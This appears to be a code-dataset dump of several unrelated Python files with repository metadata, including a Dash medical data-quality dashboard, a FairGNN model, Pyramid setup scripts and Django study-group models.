amap[StorageFactory.PATTERN_NODES] = 'file' amap[StorageFactory.TEMPLATE_NODES] = 'file' amap[StorageFactory.BINARIES] = 'file' amap[StorageFactory.BRAINTREE] = 'file' amap[StorageFactory.PREPROCESSORS] = 'file' amap[StorageFactory.POSTPROCESSORS] = 'file' amap[StorageFactory.USERGROUPS] = 'file'
true
true
f73d7f12150adc685b1d858eaebc4bc7d08995d2
12,517
py
Python
app.py
peilinja/A-medical-business-data-quality-check-web-tool
eb88d8430dd176ee0c80735c24d4e27da1c137e3
[ "MIT" ]
1
2022-02-21T18:26:59.000Z
2022-02-21T18:26:59.000Z
app.py
peilinja/A-medical-business-data-quality-check-web-tool
eb88d8430dd176ee0c80735c24d4e27da1c137e3
[ "MIT" ]
null
null
null
app.py
peilinja/A-medical-business-data-quality-check-web-tool
eb88d8430dd176ee0c80735c24d4e27da1c137e3
[ "MIT" ]
null
null
null
import dash from dash import html from dash import dcc import dash_bootstrap_components as dbc from dash.dependencies import Input, Output from server import app from views.db_connect import db_conn_page from views.data_general_situation import data_general_situation_page from views.data_overall import data_overall_page from views.data_oper2 import data_oper2_page from views.data_temp import data_temp_page from views.data_adt import data_adt_page from views.data_bar import data_bar_page from views.data_drug import data_drug_page from views.data_anti import data_anti_page from views.data_rout import data_rout_page from views.data_exam import data_exam_page app.layout = html.Div( [ # 存储当前连接用户信息 dcc.Store(id='db_con_url', storage_type='session'), # 存储当前统计时段信息 dcc.Store(id='count_time', storage_type='session'), # 概览页面数据存储 dcc.Store(id='general_situation_first_level_first_fig_data', storage_type='session'), dcc.Store(id='general_situation_first_level_second_fig_data', storage_type='session'), dcc.Store(id='general_situation_first_level_third_fig_data', storage_type='session'), dcc.Store(id='general_situation_secod_level_fig_data', storage_type='session'), dcc.Store(id='general_situation_third_level_first_fig_data', storage_type='session'), dcc.Store(id='general_situation_third_level_second_fig_data', storage_type='session'), dcc.Store(id='general_situation_third_level_second_fig_data1', storage_type='session'), # 抗菌药物、菌检出、药敏页面数据存储 dcc.Store(id='anti_bar_drug_first_level_first_fig_data', storage_type='session'), dcc.Store(id='anti_bar_drug_first_level_second_fig_data', storage_type='session'), dcc.Store(id='anti_second_level_first_fig_data', storage_type='session'), dcc.Store(id='anti_second_level_second_fig_data', storage_type='session'), dcc.Store(id='anti_second_level_third_fig_data', storage_type='session'), dcc.Store(id='bar_third_level_first_fig_data', storage_type='session'), dcc.Store(id='bar_third_level_second_fig_data', storage_type='session'), dcc.Store(id='drug_fourth_level_first_fig_data', storage_type='session'), dcc.Store(id='drug_fourth_level_second_fig_data', storage_type='session'), # 手术数据存储 dcc.Store(id='oper2_first_level_first_fig_data', storage_type='session'), dcc.Store(id='oper2_first_level_second_fig_data', storage_type='session'), dcc.Store(id='oper2_second_level_first_fig_data', storage_type='session'), dcc.Store(id='oper2_second_level_second_fig_data', storage_type='session'), dcc.Store(id='oper2_second_level_third_fig_data', storage_type='session'), # 常规检验数据存储 dcc.Store(id='rout_exam_temp_first_level_first_fig_data', storage_type='session'), dcc.Store(id='rout_exam_temp_first_level_second_fig_data', storage_type='session'), dcc.Store(id='temp_second_level_first_fig_data', storage_type='session'), dcc.Store(id='rout_third_level_first_fig_data', storage_type='session'), dcc.Store(id='rout_third_level_second_fig_data', storage_type='session'), dcc.Store(id='exam_fourth_level_first_fig_data', storage_type='session'), dcc.Store(id='exam_fourth_level_second_fig_data', storage_type='session'), # 监听url变化 dcc.Location(id='url'), html.Div( [ # 最上方系统log栏 dbc.NavbarSimple( brand="数据质量明细", brand_href="/dash/", brand_style={"font-family": "Roboto", "font-size": "x-large", "font-weight": "600", "letter-spacing": "2.5px", "color": "#606060", }, color="#F9F9F9", dark=True, fluid=True, style={"box-shadow": "0 2px 5px 0 rgb(0 0 0 / 26%)", "margin-bottom": "5px"}, ), dbc.Row( [ # 左侧菜单栏 dbc.Col( dbc.Row( [ dbc.ListGroup( [ dbc.ListGroupItem("数据库连接",id='db_connect', href="/dash/db_connect",color="primary"), dbc.ListGroupItem("数据明细概况", id='data_general_situation', href="/dash/data_general_situation"), dbc.ListGroupItem("抗菌药物/菌检出/药敏", id='data_anti', href="/dash/data_anti"), dbc.ListGroupItem("手术",id='data_oper2', href="/dash/data_oper2" ), dbc.ListGroupItem("生化/体温/检查",id='data_rout', href="/dash/data_rout" ), # dbc.ListGroupItem("患者人数",id='data_overall', href="/dash/data_overall" ), # dbc.ListGroupItem("体温",id='data_temp', href="/dash/data_temp" ), # dbc.ListGroupItem("入出转",id='data_adt', href="/dash/data_adt" ), # dbc.ListGroupItem("菌检出",id='data_bar', href="/dash/data_bar" ), # dbc.ListGroupItem("药敏",id='data_drug', href="/dash/data_drug" ), # dbc.ListGroupItem("生化",id='data_rout', href="/dash/data_rout" ), # dbc.ListGroupItem("检查",id='data_exam', href="/dash/data_exam" ), ], flush=True, style={ 'padding': '1.5rem 1rem', 'text-align': 'center', 'letter-spacing': '0.05rem', 'font-weight': '800', 'width': '100%', 'height': '10%', } ), dbc.ListGroup( [ dbc.ListGroupItem( [ dbc.Label(html.B("统计时段:", style={'font-size': 'large'}), id="count-time", style={'display': 'flex', 'margin-left': '-15px'}), dbc.Row( [ dbc.Col(dbc.Label('开始时间:', style={'font-size': 'smaller'}),width=4,style={'margin-left':'0px','margin-right':'0px','padding-left':'0px','padding-right':'0px',}), dbc.Col(dcc.Input(type='date', id='btime',style={'text-align':'center'}),width=8,style={'margin-left':'0px','margin-right':'0px','padding-left':'0px','padding-right':'0px',}), ], justify='center', style={'display': 'flex', 'align-items': 'center', 'margin-top': '20px'} ), dbc.Row( [ dbc.Col(dbc.Label('结束时间:', style={'font-size': 'smaller'}),width=4,style={'margin-left':'0px','margin-right':'0px','padding-left':'0px','padding-right':'0px',}), dbc.Col(dcc.Input(type='date', id='etime',style={'text-align':'center'}),width=8,style={'margin-left':'0px','margin-right':'0px','padding-left':'0px','padding-right':'0px',}), ], justify='center', style={'display': 'flex', 'align-items': 'center', 'margin-top': '5px'} ), ], style={'background-color': 'aliceblue'} ), dbc.ListGroupItem(dbc.Button('提交', id='data-chioce-sub'), style={'background-color': 'aliceblue'}) ], flush=True, style={ 'padding': '1.5rem 1rem', 'text-align': 'center', 'letter-spacing': '0.05rem', 'font-weight': '800', 'width': '100%', 'height': '40%', } ), ], style={"height": '100%', 'background-color': 'aliceblue', "box-shadow": "0 2px 5px 0 rgb(0 0 0 / 26%)", "margin": "0px 2px 0px -2px", "display": 'flex' } ), className='col-sm-2 col-md-2 sidebar', style={"height": '860px', }), # style={"height": '500px', }), # 右侧展示栏 dbc.Col( [ dbc.Row(html.Br()), # dbc.Row(html.Br()), dbc.Row(id = 'data-show',style={"justify":"center"}) ], className='col-sm-10 col-sm-offset-3 col-md-10 col-md-offset-2 main', style={"box-shadow": "0 2px 5px 0 rgb(0 0 0 / 26%)", } ), ], className="container-fluid", ) ] ) ] ) # 路由总控 @app.callback( [Output('data-show', 'children'), Output('db_connect', 'color'), Output('data_general_situation', 'color'), Output('data_anti', 'color'), Output('data_oper2', 'color'), Output('data_rout', 'color'),], Input('url', 'pathname') ) def render_page_content(pathname): color_dic={ 'rount_page':'', 'db_connect':'', 'data_general_situation':'', 'data_anti':'', 'data_oper2':'', 'data_rout':'', } if pathname is None: pathname = "/dash/" if pathname.endswith("/dash/") or pathname.endswith("/db_connect"): color_dic['rount_page'] = db_conn_page color_dic['db_connect'] = 'primary' return list(color_dic.values()) elif pathname.endswith("/data_general_situation") : color_dic['rount_page'] = data_general_situation_page color_dic['data_general_situation'] = 'primary' return list(color_dic.values()) elif pathname.endswith("/data_anti") : color_dic['rount_page'] = data_anti_page color_dic['data_anti'] = 'primary' return list(color_dic.values()) elif pathname.endswith("/data_oper2") : color_dic['rount_page'] = data_oper2_page color_dic['data_oper2'] = 'primary' return list(color_dic.values()) elif pathname.endswith("/data_rout") : color_dic['rount_page'] = data_rout_page color_dic['data_rout'] = 'primary' return list(color_dic.values()) else: return html.H1('您访问的页面不存在!') if __name__ == '__main__': # app.run_server(host='10.0.68.111',debug=False,port=8081, workers = 10) app.run_server(debug=False,port=8081) # app.run_server(host='10.0.68.111',debug=True,port=8081)
56.382883
235
0.465846
import dash from dash import html from dash import dcc import dash_bootstrap_components as dbc from dash.dependencies import Input, Output from server import app from views.db_connect import db_conn_page from views.data_general_situation import data_general_situation_page from views.data_overall import data_overall_page from views.data_oper2 import data_oper2_page from views.data_temp import data_temp_page from views.data_adt import data_adt_page from views.data_bar import data_bar_page from views.data_drug import data_drug_page from views.data_anti import data_anti_page from views.data_rout import data_rout_page from views.data_exam import data_exam_page app.layout = html.Div( [ dcc.Store(id='db_con_url', storage_type='session'), dcc.Store(id='count_time', storage_type='session'), dcc.Store(id='general_situation_first_level_first_fig_data', storage_type='session'), dcc.Store(id='general_situation_first_level_second_fig_data', storage_type='session'), dcc.Store(id='general_situation_first_level_third_fig_data', storage_type='session'), dcc.Store(id='general_situation_secod_level_fig_data', storage_type='session'), dcc.Store(id='general_situation_third_level_first_fig_data', storage_type='session'), dcc.Store(id='general_situation_third_level_second_fig_data', storage_type='session'), dcc.Store(id='general_situation_third_level_second_fig_data1', storage_type='session'), dcc.Store(id='anti_bar_drug_first_level_first_fig_data', storage_type='session'), dcc.Store(id='anti_bar_drug_first_level_second_fig_data', storage_type='session'), dcc.Store(id='anti_second_level_first_fig_data', storage_type='session'), dcc.Store(id='anti_second_level_second_fig_data', storage_type='session'), dcc.Store(id='anti_second_level_third_fig_data', storage_type='session'), dcc.Store(id='bar_third_level_first_fig_data', storage_type='session'), dcc.Store(id='bar_third_level_second_fig_data', storage_type='session'), dcc.Store(id='drug_fourth_level_first_fig_data', storage_type='session'), dcc.Store(id='drug_fourth_level_second_fig_data', storage_type='session'), dcc.Store(id='oper2_first_level_first_fig_data', storage_type='session'), dcc.Store(id='oper2_first_level_second_fig_data', storage_type='session'), dcc.Store(id='oper2_second_level_first_fig_data', storage_type='session'), dcc.Store(id='oper2_second_level_second_fig_data', storage_type='session'), dcc.Store(id='oper2_second_level_third_fig_data', storage_type='session'), dcc.Store(id='rout_exam_temp_first_level_first_fig_data', storage_type='session'), dcc.Store(id='rout_exam_temp_first_level_second_fig_data', storage_type='session'), dcc.Store(id='temp_second_level_first_fig_data', storage_type='session'), dcc.Store(id='rout_third_level_first_fig_data', storage_type='session'), dcc.Store(id='rout_third_level_second_fig_data', storage_type='session'), dcc.Store(id='exam_fourth_level_first_fig_data', storage_type='session'), dcc.Store(id='exam_fourth_level_second_fig_data', storage_type='session'), dcc.Location(id='url'), html.Div( [ dbc.NavbarSimple( brand="数据质量明细", brand_href="/dash/", brand_style={"font-family": "Roboto", "font-size": "x-large", "font-weight": "600", "letter-spacing": "2.5px", "color": "#606060", }, color="#F9F9F9", dark=True, fluid=True, style={"box-shadow": "0 2px 5px 0 rgb(0 0 0 / 26%)", "margin-bottom": "5px"}, ), dbc.Row( [ dbc.Col( dbc.Row( [ dbc.ListGroup( [ dbc.ListGroupItem("数据库连接",id='db_connect', href="/dash/db_connect",color="primary"), dbc.ListGroupItem("数据明细概况", id='data_general_situation', href="/dash/data_general_situation"), dbc.ListGroupItem("抗菌药物/菌检出/药敏", id='data_anti', href="/dash/data_anti"), dbc.ListGroupItem("手术",id='data_oper2', href="/dash/data_oper2" ), dbc.ListGroupItem("生化/体温/检查",id='data_rout', href="/dash/data_rout" ), ], flush=True, style={ 'padding': '1.5rem 1rem', 'text-align': 'center', 'letter-spacing': '0.05rem', 'font-weight': '800', 'width': '100%', 'height': '10%', } ), dbc.ListGroup( [ dbc.ListGroupItem( [ dbc.Label(html.B("统计时段:", style={'font-size': 'large'}), id="count-time", style={'display': 'flex', 'margin-left': '-15px'}), dbc.Row( [ dbc.Col(dbc.Label('开始时间:', style={'font-size': 'smaller'}),width=4,style={'margin-left':'0px','margin-right':'0px','padding-left':'0px','padding-right':'0px',}), dbc.Col(dcc.Input(type='date', id='btime',style={'text-align':'center'}),width=8,style={'margin-left':'0px','margin-right':'0px','padding-left':'0px','padding-right':'0px',}), ], justify='center', style={'display': 'flex', 'align-items': 'center', 'margin-top': '20px'} ), dbc.Row( [ dbc.Col(dbc.Label('结束时间:', style={'font-size': 'smaller'}),width=4,style={'margin-left':'0px','margin-right':'0px','padding-left':'0px','padding-right':'0px',}), dbc.Col(dcc.Input(type='date', id='etime',style={'text-align':'center'}),width=8,style={'margin-left':'0px','margin-right':'0px','padding-left':'0px','padding-right':'0px',}), ], justify='center', style={'display': 'flex', 'align-items': 'center', 'margin-top': '5px'} ), ], style={'background-color': 'aliceblue'} ), dbc.ListGroupItem(dbc.Button('提交', id='data-chioce-sub'), style={'background-color': 'aliceblue'}) ], flush=True, style={ 'padding': '1.5rem 1rem', 'text-align': 'center', 'letter-spacing': '0.05rem', 'font-weight': '800', 'width': '100%', 'height': '40%', } ), ], style={"height": '100%', 'background-color': 'aliceblue', "box-shadow": "0 2px 5px 0 rgb(0 0 0 / 26%)", "margin": "0px 2px 0px -2px", "display": 'flex' } ), className='col-sm-2 col-md-2 sidebar', style={"height": '860px', }), dbc.Col( [ dbc.Row(html.Br()), dbc.Row(id = 'data-show',style={"justify":"center"}) ], className='col-sm-10 col-sm-offset-3 col-md-10 col-md-offset-2 main', style={"box-shadow": "0 2px 5px 0 rgb(0 0 0 / 26%)", } ), ], className="container-fluid", ) ] ) ] ) @app.callback( [Output('data-show', 'children'), Output('db_connect', 'color'), Output('data_general_situation', 'color'), Output('data_anti', 'color'), Output('data_oper2', 'color'), Output('data_rout', 'color'),], Input('url', 'pathname') ) def render_page_content(pathname): color_dic={ 'rount_page':'', 'db_connect':'', 'data_general_situation':'', 'data_anti':'', 'data_oper2':'', 'data_rout':'', } if pathname is None: pathname = "/dash/" if pathname.endswith("/dash/") or pathname.endswith("/db_connect"): color_dic['rount_page'] = db_conn_page color_dic['db_connect'] = 'primary' return list(color_dic.values()) elif pathname.endswith("/data_general_situation") : color_dic['rount_page'] = data_general_situation_page color_dic['data_general_situation'] = 'primary' return list(color_dic.values()) elif pathname.endswith("/data_anti") : color_dic['rount_page'] = data_anti_page color_dic['data_anti'] = 'primary' return list(color_dic.values()) elif pathname.endswith("/data_oper2") : color_dic['rount_page'] = data_oper2_page color_dic['data_oper2'] = 'primary' return list(color_dic.values()) elif pathname.endswith("/data_rout") : color_dic['rount_page'] = data_rout_page color_dic['data_rout'] = 'primary' return list(color_dic.values()) else: return html.H1('您访问的页面不存在!') if __name__ == '__main__': app.run_server(debug=False,port=8081)
true
true
f73d7f9435ed3aa7ce7bcdd711f4dd6803fee23e
166
py
Python
tests/model_control/detailed/transf_Difference/model_control_one_enabled_Difference_ConstantTrend_Seasonal_Hour_ARX.py
jmabry/pyaf
afbc15a851a2445a7824bf255af612dc429265af
[ "BSD-3-Clause" ]
null
null
null
tests/model_control/detailed/transf_Difference/model_control_one_enabled_Difference_ConstantTrend_Seasonal_Hour_ARX.py
jmabry/pyaf
afbc15a851a2445a7824bf255af612dc429265af
[ "BSD-3-Clause" ]
1
2019-11-30T23:39:38.000Z
2019-12-01T04:34:35.000Z
tests/model_control/detailed/transf_Difference/model_control_one_enabled_Difference_ConstantTrend_Seasonal_Hour_ARX.py
jmabry/pyaf
afbc15a851a2445a7824bf255af612dc429265af
[ "BSD-3-Clause" ]
null
null
null
import pyaf.tests.model_control.test_ozone_custom_models_enabled as testmod testmod.build_model( ['Difference'] , ['ConstantTrend'] , ['Seasonal_Hour'] , ['ARX'] );
41.5
88
0.759036
import pyaf.tests.model_control.test_ozone_custom_models_enabled as testmod testmod.build_model( ['Difference'] , ['ConstantTrend'] , ['Seasonal_Hour'] , ['ARX'] );
true
true
f73d8156d4b988e90a7c12cef74e01e7d878240d
2,678
py
Python
models/fairgnn.py
arpitdm/nifty
b5f58c4dc83cbf8eb957361f85e845373b5ad256
[ "MIT" ]
13
2021-02-26T05:27:16.000Z
2022-03-17T11:24:27.000Z
models/fairgnn.py
AI4LIFE-GROUP/unified_representation
763792d2ddc72f2af8c6d1372c5ed8d04c741ae1
[ "MIT" ]
1
2022-03-31T02:20:26.000Z
2022-03-31T23:11:59.000Z
models/fairgnn.py
AI4LIFE-GROUP/unified_representation
763792d2ddc72f2af8c6d1372c5ed8d04c741ae1
[ "MIT" ]
6
2021-03-09T10:52:13.000Z
2022-03-28T01:09:12.000Z
import torch.nn as nn from models import * import torch import gc def get_model(nfeat, args): if args.model == "gcn": model = GCN_Body(nfeat,args.num_hidden,args.dropout) elif args.model == "gat": heads = ([args.num_heads] * args.num_layers) + [args.num_out_heads] model = GAT_body(args.num_layers,nfeat,args.num_hidden,heads,args.dropout,args.attn_drop,args.negative_slope,args.residual) else: print("Model not implement") return return model class FairGNN(nn.Module): def __init__(self, nfeat, args): super(FairGNN,self).__init__() nhid = args.num_hidden dropout = args.dropout self.estimator = GCN(nfeat,args.hidden,1,dropout) self.GNN = get_model(nfeat,args) self.classifier = nn.Linear(nhid,1) self.adv = nn.Linear(nhid,1) # G_params = list(self.GNN.parameters()) + list(self.classifier.parameters()) + list(self.estimator.parameters()) # self.optimizer_G = torch.optim.Adam(G_params, lr = args.lr, weight_decay = args.weight_decay) # self.optimizer_A = torch.optim.Adam(self.adv.parameters(), lr = args.lr, weight_decay = args.weight_decay) self.args = args # self.criterion = nn.BCEWithLogitsLoss() self.G_loss = 0 self.A_loss = 0 def forward(self, x, edge_index): s = self.estimator(x, edge_index) z = self.GNN(x, edge_index) y = self.classifier(z) return y, s, z def optimize(self,g,x,labels,idx_train,sens,idx_sens_train): self.train() ### update E, G self.adv.requires_grad_(False) self.optimizer_G.zero_grad() s = self.estimator(g,x) h = self.GNN(g,x) y = self.classifier(h) s_g = self.adv(h) s_score = torch.sigmoid(s.detach()) # s_score = (s_score > 0.5).float() s_score[idx_sens_train]=sens[idx_sens_train].unsqueeze(1).float() y_score = torch.sigmoid(y) self.cov = torch.abs(torch.mean((s_score - torch.mean(s_score)) * (y_score - torch.mean(y_score)))) self.cls_loss = self.criterion(y[idx_train],labels[idx_train].unsqueeze(1).float()) self.adv_loss = self.criterion(s_g,s_score) self.G_loss = self.cls_loss + self.args.alpha * self.cov - self.args.beta * self.adv_loss self.G_loss.backward() self.optimizer_G.step() ## update Adv self.adv.requires_grad_(True) self.optimizer_A.zero_grad() s_g = self.adv(h.detach()) self.A_loss = self.criterion(s_g,s_score) self.A_loss.backward() self.optimizer_A.step()
33.061728
131
0.622106
import torch.nn as nn from models import * import torch import gc def get_model(nfeat, args): if args.model == "gcn": model = GCN_Body(nfeat,args.num_hidden,args.dropout) elif args.model == "gat": heads = ([args.num_heads] * args.num_layers) + [args.num_out_heads] model = GAT_body(args.num_layers,nfeat,args.num_hidden,heads,args.dropout,args.attn_drop,args.negative_slope,args.residual) else: print("Model not implement") return return model class FairGNN(nn.Module): def __init__(self, nfeat, args): super(FairGNN,self).__init__() nhid = args.num_hidden dropout = args.dropout self.estimator = GCN(nfeat,args.hidden,1,dropout) self.GNN = get_model(nfeat,args) self.classifier = nn.Linear(nhid,1) self.adv = nn.Linear(nhid,1) self.args = args self.G_loss = 0 self.A_loss = 0 def forward(self, x, edge_index): s = self.estimator(x, edge_index) z = self.GNN(x, edge_index) y = self.classifier(z) return y, s, z def optimize(self,g,x,labels,idx_train,sens,idx_sens_train): self.train() grad_(False) self.optimizer_G.zero_grad() s = self.estimator(g,x) h = self.GNN(g,x) y = self.classifier(h) s_g = self.adv(h) s_score = torch.sigmoid(s.detach()) s_score[idx_sens_train]=sens[idx_sens_train].unsqueeze(1).float() y_score = torch.sigmoid(y) self.cov = torch.abs(torch.mean((s_score - torch.mean(s_score)) * (y_score - torch.mean(y_score)))) self.cls_loss = self.criterion(y[idx_train],labels[idx_train].unsqueeze(1).float()) self.adv_loss = self.criterion(s_g,s_score) self.G_loss = self.cls_loss + self.args.alpha * self.cov - self.args.beta * self.adv_loss self.G_loss.backward() self.optimizer_G.step() f.adv.requires_grad_(True) self.optimizer_A.zero_grad() s_g = self.adv(h.detach()) self.A_loss = self.criterion(s_g,s_score) self.A_loss.backward() self.optimizer_A.step()
true
true
f73d81de47bb5ec52082c7809e462677bbb2fd34
289
py
Python
search_algorithm/4th_stochastic_SA/setup.py
koty08/Python_AI
5b656d24c648bf6ea06a875f3b485c7f7f23da8b
[ "MIT" ]
null
null
null
search_algorithm/4th_stochastic_SA/setup.py
koty08/Python_AI
5b656d24c648bf6ea06a875f3b485c7f7f23da8b
[ "MIT" ]
null
null
null
search_algorithm/4th_stochastic_SA/setup.py
koty08/Python_AI
5b656d24c648bf6ea06a875f3b485c7f7f23da8b
[ "MIT" ]
null
null
null
#HillClimbing과 Problem에 사용되는 부모 클래스 Setup 정의 class Setup: # delta, alpha, dx... 와 같은 설정들 initializing. def __init__(self) -> None: self._delta = 0 self._alpha = 0 self._dx = 0 self._numRestart = 0 self._numSample = 0 self._numExp = 0
28.9
48
0.584775
class Setup: def __init__(self) -> None: self._delta = 0 self._alpha = 0 self._dx = 0 self._numRestart = 0 self._numSample = 0 self._numExp = 0
true
true
f73d82c2bf0823edb9073479376ed0bebcf5639d
1,085
py
Python
src/instructions.py
Kareeeeem/abyad
6e0284d5653632b761dac5f17b9604369110c2ae
[ "Unlicense" ]
1
2016-05-21T22:16:18.000Z
2016-05-21T22:16:18.000Z
src/instructions.py
Kareeeeem/abyad
6e0284d5653632b761dac5f17b9604369110c2ae
[ "Unlicense" ]
null
null
null
src/instructions.py
Kareeeeem/abyad
6e0284d5653632b761dac5f17b9604369110c2ae
[ "Unlicense" ]
null
null
null
'''This module defines all instructions.''' from collections import namedtuple from tokens import PUSH, DUP, SWAP, POP, ADD, SUB, MUL, DIV, MOD, MARK, JUMP, \ JUMP_Z, JUMP_N, EXIT, CALL, END, STORE, LOAD, OUTC, OUTI, INC, INI Ins = namedtuple('Ins', 'opcode param_type token') class ParamTypes: INTEGER = 'signed' LABEL = 'unsigned' instructionset = [ Ins('push', ParamTypes.INTEGER, PUSH), Ins('pop', None, POP), Ins('swap', None, SWAP), Ins('dup', None, DUP), Ins('add', None, ADD), Ins('sub', None, SUB), Ins('mul', None, MUL), Ins('div', None, DIV), Ins('mod', None, MOD), Ins('store', None, STORE), Ins('load', None, LOAD), Ins('mark', ParamTypes.LABEL, MARK), Ins('call', ParamTypes.LABEL, CALL), Ins('j', ParamTypes.LABEL, JUMP), Ins('jz', ParamTypes.LABEL, JUMP_Z), Ins('jn', ParamTypes.LABEL, JUMP_N), Ins('end', None, END), Ins('exit', None, EXIT), Ins('read_char', None, INC), Ins('read_num', None, INI), Ins('write_char', None, OUTC), Ins('write_num', None, OUTI), ]
27.820513
79
0.601843
from collections import namedtuple from tokens import PUSH, DUP, SWAP, POP, ADD, SUB, MUL, DIV, MOD, MARK, JUMP, \ JUMP_Z, JUMP_N, EXIT, CALL, END, STORE, LOAD, OUTC, OUTI, INC, INI Ins = namedtuple('Ins', 'opcode param_type token') class ParamTypes: INTEGER = 'signed' LABEL = 'unsigned' instructionset = [ Ins('push', ParamTypes.INTEGER, PUSH), Ins('pop', None, POP), Ins('swap', None, SWAP), Ins('dup', None, DUP), Ins('add', None, ADD), Ins('sub', None, SUB), Ins('mul', None, MUL), Ins('div', None, DIV), Ins('mod', None, MOD), Ins('store', None, STORE), Ins('load', None, LOAD), Ins('mark', ParamTypes.LABEL, MARK), Ins('call', ParamTypes.LABEL, CALL), Ins('j', ParamTypes.LABEL, JUMP), Ins('jz', ParamTypes.LABEL, JUMP_Z), Ins('jn', ParamTypes.LABEL, JUMP_N), Ins('end', None, END), Ins('exit', None, EXIT), Ins('read_char', None, INC), Ins('read_num', None, INI), Ins('write_char', None, OUTC), Ins('write_num', None, OUTI), ]
true
true
f73d83a6dde9aeac5fb6686b77e647225fc34eff
1,410
py
Python
pyramid_stocks/setup.py
dsnowb/pyramid-stocks
8cea2942a4036caebf912fa9f774454ba17bc687
[ "MIT" ]
null
null
null
pyramid_stocks/setup.py
dsnowb/pyramid-stocks
8cea2942a4036caebf912fa9f774454ba17bc687
[ "MIT" ]
null
null
null
pyramid_stocks/setup.py
dsnowb/pyramid-stocks
8cea2942a4036caebf912fa9f774454ba17bc687
[ "MIT" ]
null
null
null
import os from setuptools import setup, find_packages here = os.path.abspath(os.path.dirname(__file__)) with open(os.path.join(here, 'README.txt')) as f: README = f.read() with open(os.path.join(here, 'CHANGES.txt')) as f: CHANGES = f.read() requires = [ 'plaster_pastedeploy', 'pyramid >= 1.9a', 'pyramid_debugtoolbar', 'pyramid_jinja2', 'pyramid_retry', 'pyramid_tm', 'SQLAlchemy', 'transaction', 'zope.sqlalchemy', 'waitress', ] tests_require = [ 'WebTest >= 1.3.1', # py3 compat 'pytest', 'pytest-cov', ] setup( name='pyramid_stocks', version='0.0', description='pyramid_stocks', long_description=README + '\n\n' + CHANGES, classifiers=[ 'Programming Language :: Python', 'Framework :: Pyramid', 'Topic :: Internet :: WWW/HTTP', 'Topic :: Internet :: WWW/HTTP :: WSGI :: Application', ], author='', author_email='', url='', keywords='web pyramid pylons', packages=find_packages(), include_package_data=True, zip_safe=False, extras_require={ 'testing': tests_require, }, install_requires=requires, entry_points={ 'paste.app_factory': [ 'main = pyramid_stocks:main', ], 'console_scripts': [ 'initialize_pyramid_stocks_db = pyramid_stocks.scripts.initializedb:main', ], }, )
23.114754
86
0.6
import os from setuptools import setup, find_packages here = os.path.abspath(os.path.dirname(__file__)) with open(os.path.join(here, 'README.txt')) as f: README = f.read() with open(os.path.join(here, 'CHANGES.txt')) as f: CHANGES = f.read() requires = [ 'plaster_pastedeploy', 'pyramid >= 1.9a', 'pyramid_debugtoolbar', 'pyramid_jinja2', 'pyramid_retry', 'pyramid_tm', 'SQLAlchemy', 'transaction', 'zope.sqlalchemy', 'waitress', ] tests_require = [ 'WebTest >= 1.3.1', 'pytest', 'pytest-cov', ] setup( name='pyramid_stocks', version='0.0', description='pyramid_stocks', long_description=README + '\n\n' + CHANGES, classifiers=[ 'Programming Language :: Python', 'Framework :: Pyramid', 'Topic :: Internet :: WWW/HTTP', 'Topic :: Internet :: WWW/HTTP :: WSGI :: Application', ], author='', author_email='', url='', keywords='web pyramid pylons', packages=find_packages(), include_package_data=True, zip_safe=False, extras_require={ 'testing': tests_require, }, install_requires=requires, entry_points={ 'paste.app_factory': [ 'main = pyramid_stocks:main', ], 'console_scripts': [ 'initialize_pyramid_stocks_db = pyramid_stocks.scripts.initializedb:main', ], }, )
true
true
f73d83a6ffdb863a39dce4aa5663f6ac471ac96a
39
py
Python
disaster_tweets/utils/__init__.py
Galeos93/disaster_tweets
7be3a7935c3f4d91dcf4ed218b6064f01f782436
[ "MIT" ]
null
null
null
disaster_tweets/utils/__init__.py
Galeos93/disaster_tweets
7be3a7935c3f4d91dcf4ed218b6064f01f782436
[ "MIT" ]
7
2021-06-16T20:10:39.000Z
2021-07-25T20:21:45.000Z
disaster_tweets/utils/__init__.py
Galeos93/disaster_tweets
7be3a7935c3f4d91dcf4ed218b6064f01f782436
[ "MIT" ]
null
null
null
from .util import * from .nlp import *
13
19
0.692308
from .util import * from .nlp import *
true
true
f73d83b22fdaf29444a918468c1fcb4f2f1fed76
18,585
py
Python
studygroups/models/__init__.py
p2pu/learning-circles
ccd94208ec18082f8fda6d7f21eacdd71bad6023
[ "MIT" ]
10
2016-05-03T20:41:25.000Z
2021-09-17T18:42:01.000Z
studygroups/models/__init__.py
p2pu/learning-circles
ccd94208ec18082f8fda6d7f21eacdd71bad6023
[ "MIT" ]
655
2016-05-04T19:00:35.000Z
2022-03-28T13:09:20.000Z
studygroups/models/__init__.py
p2pu/learning-circles
ccd94208ec18082f8fda6d7f21eacdd71bad6023
[ "MIT" ]
8
2016-05-06T10:24:27.000Z
2020-10-21T00:56:59.000Z
# coding=utf-8 from django.db import models from django.db.models import Count, Max, Q, Sum, Case, When, IntegerField, Value, OuterRef, Subquery from django.db.models import F from django.utils import timezone from dateutil.relativedelta import relativedelta from django.utils.translation import ugettext_lazy as _ from django.conf import settings from django.contrib.auth.models import User from django.urls import reverse # TODO ideally this shouldn't be in the model from collections import Counter from .base import SoftDeleteQuerySet from .base import LifeTimeTrackingModel from .course import Course from .team import * from .announcement import Announcement from .profile import Profile from .learningcircle import StudyGroup from .learningcircle import Meeting from .learningcircle import Application from .learningcircle import Reminder from .learningcircle import Rsvp from .learningcircle import Feedback import datetime import pytz import requests def accept_application(application): # add a study group application to a study group application.accepted_at = timezone.now() application.save() def application_mobile_opt_out(mobile): """ Opt-out user with given mobile number """ applications = Application.objects.active().filter( mobile=mobile, mobile_opt_out_at__isnull=True ) applications.update(mobile_opt_out_at=timezone.now()) # TODO smarter handling for multiple applications def application_mobile_opt_out_revert(mobile): """ Cancel opt-out for applications with given mobile number """ applications = Application.objects.active().filter( mobile=mobile, mobile_opt_out_at__isnull=False ) applications.update(mobile_opt_out_at=None) def create_rsvp(contact, study_group, meeting_datetime, attending): # expect meeting_date as python datetime # contact is an email address of mobile number # study_group is the study group id study_group_meeting = Meeting.objects.active().get(study_group__id=study_group, meeting_date=meeting_datetime.date(), meeting_time=meeting_datetime.time()) application = None if '@' in contact: application = Application.objects.active().get(study_group__id=study_group, email__iexact=contact) else: application = Application.objects.active().get(study_group__id=study_group, mobile=contact) rsvp = Rsvp.objects.all().filter(study_group_meeting=study_group_meeting, application=application).first() if not rsvp: rsvp = Rsvp(study_group_meeting=study_group_meeting, application=application, attending=attending=='yes') else: rsvp.attending = attending=='yes' rsvp.save() return rsvp def generate_all_meetings(study_group): # TODO this should be deprecated # Something like create_weekly_meetings(sg, start, count) could replace this if Meeting.objects.active().filter(study_group=study_group).exists(): raise Exception(_('Meetings already exist for this study group')) meeting_date = study_group.start_date meetings 